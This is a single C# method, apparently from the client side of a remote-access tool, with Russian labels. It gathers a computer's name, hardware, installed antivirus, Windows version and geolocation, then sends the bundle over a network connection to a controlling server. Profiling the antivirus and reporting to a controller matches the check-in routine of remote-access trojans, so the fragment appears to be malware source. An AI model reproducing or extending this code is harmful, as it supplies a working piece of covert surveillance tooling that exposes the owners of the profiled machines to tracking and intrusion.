//Gets computer information private void GetComputerInfo() { string ListString = ""; List <string> ComputerInfoList = new List <string>(); try { ComputerInfo.GetGeoInfo(); } catch { } ComputerInfoList.Add("Имя компьютера: " + ComputerInfo.GetName()); ComputerInfoList.Add("ЦП: " + ComputerInfo.GetCPU()); ComputerInfoList.Add("Видеокарта: " + ComputerInfo.GetGPU()); ComputerInfoList.Add("Объём оперативной памяти (Мб): " + ComputerInfo.GetRamAmount()); ComputerInfoList.Add("Антивирус: " + ComputerInfo.GetAntivirus()); ComputerInfoList.Add("Операционная система: " + ComputerInfo.GetWindowsVersion()); ComputerInfoList.Add("Страна: " + ComputerInfo.GetCountry()); ComputerInfoList.Add("Регион: " + ComputerInfo.GetRegionName()); ComputerInfoList.Add("Город: " + ComputerInfo.GetCity()); foreach (string Info in ComputerInfoList.ToArray()) { ListString += "," + Info; } List <byte> ToSend = new List <byte>(); ToSend.Add((int)DataType.InformationType); ToSend.AddRange(Encoding.UTF8.GetBytes(ListString)); Networking.MainClient.Send(ToSend.ToArray()); }